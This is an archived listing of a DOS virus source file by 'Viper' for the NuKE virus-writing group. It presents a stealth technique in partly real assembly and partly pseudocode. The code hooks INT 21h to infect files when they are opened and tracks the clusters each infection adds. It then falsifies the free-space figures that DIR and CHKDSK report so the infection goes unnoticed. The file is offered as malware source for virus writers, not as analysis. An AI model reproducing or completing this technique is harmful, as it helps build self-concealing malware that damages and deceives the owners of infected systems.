home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / vipers.asm < prev    next >
Assembly Source File  |  1994-04-30  |  4KB  |  127 lines

  1.                    New Neat Stuff From The Vx...
  2.                    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  3.  
  4. ; Stealth.asm, idea and code written by <<-- Viper -->>
  5. ;
  6. ; function - To demonstrate a new form of stealth
  7. ; purpose -  To actively monitor the infection of files, so that the
  8. ;            total disk space reported can appear the same by a dir
  9. ;            and other commands, as well as chkdsk reporting things such as
  10. ;            allocation units, space, etc. the same...
  11. ;
  12. ; Note:      This form of stealth works starting on memory residency, and i
  13. ;            reset each reboot, or memory loss...
  14. ;
  15. ; Function Idea and Code written by <<-- Viper -->> for Rock Steady & [NuKE
  16. ; -------------------------------------------------------------------------
  17.  
  18. .model tiny
  19. .radix 16
  20. .code
  21.  
  22.         org 100
  23.  
  24.  
  25. virus:
  26.         check_if_installed
  27.         install_if_not_already (get, save, trace vectors and all other stuf
  28.         quit_to_host_program
  29.  
  30. 21_handler:
  31.         cmp ah,3dh
  32.         je open
  33.         cmp ah,36
  34.         je NEW_STEALTH_PART2
  35.  
  36. ; 3d 21_handler (infect_file on open) Just an example, could be done with
  37. ; anything (eg, close, 4b, etc...)
  38.  
  39. open:
  40.         open_file
  41.         save original bytes
  42.         infect file
  43.         jump if error --> fuckit
  44.  
  45. NEW_STEALTH_PART1:              ; always do the stealth calcs right
  46.                                 ; after a new file has been infected
  47.  
  48.         push ax
  49.         push bx
  50.         push cx
  51.         etc...
  52.  
  53.         mov ax,3600
  54.         xor dl,dl
  55.         call old21
  56.  
  57. ; ax=sec/cluster, bx=available clusters, cx=bytes/sector, dx=total/clusters
  58.  
  59.         mov cs:[rax],ax
  60.         mov cs:[rbx],bx
  61.         mov cs:[rcx],cx
  62.         mov cs:[rdx],dx
  63.  
  64.         mul ax,cx       ; this gives bytes/allocation unit
  65.         xchg ax,bx
  66.         mov dx,significant reg of filesize ; (saved from previous int)
  67.         mov ax,insignficant reg of filesize; (saved from previous int)
  68.         div bx          ; ax = dx:ax=filesize / bx=bytes/alloc
  69.         cmp ax,0        ; ax = # of alloc units
  70.         je smaller_than_1_alloc
  71.         cmp dx,0
  72.         je exact_divide
  73.         inc ax
  74.         mul ax,bx       ; dx:ax=largest # bytes b4 next cluster used
  75.         mov cx,significant reg of filesize
  76.         mov bx,insignificant reg of filesize ; cx:bx=filesize
  77.         sub dx,cx
  78.         sub ax,bx       ; now dx:ax is left with 0:#bytes before next clust
  79.         mov bx,ax       ; put ax into bx so that the same code can be used
  80.                         ; over...
  81.         jmp not_exact_divide_and_larger_than_0_allocs
  82.  
  83. exact_divide:
  84.         inc cs:[cluster_loss_due_to_infect] ; because our virus > 0 bytes
  85.         jmp fuckit      ; were done our work (in this case, anyways)
  86.  
  87. smaller_than_1_alloc:
  88.         sub bx,dx
  89. not_exact_divide_and_larger_than_0_allocs:
  90.         cmp bx,virus_size
  91.         jge fuckit      ; no need for adjustment because virus is the same
  92.                         ; or smaller size than the # of bytes left in
  93.                         ; that available cluster
  94.         inc cs:[cluster_loss_due_to_infect]
  95.  
  96. fuckit:
  97.  
  98.         etc...
  99.         pop cx
  100.         pop bx
  101.         pop ax
  102.  
  103.         restore stuff (other registers, and callers program stuff)
  104.         iret
  105.  
  106. NEW_STEALTH_PART2:
  107.  
  108.         call old21
  109.         add bx,cs:[cluster_loss_due_to_infect] ; lie about how many cluster
  110.                                                ; used, and the space left
  111.                                                ; on the hard drive...
  112.         iret
  113.  
  114. old21:
  115.         pushf
  116.         callf
  117.         old21vector     dd      ?
  118.         ret
  119.  
  120. rax     dw      ?
  121. rbx     dw      ?
  122. rcx     dw      ?
  123. rdx     dw      ?
  124. cluster_loss_due_to_infect      dw      0
  125.  
  126. end_virus
  127.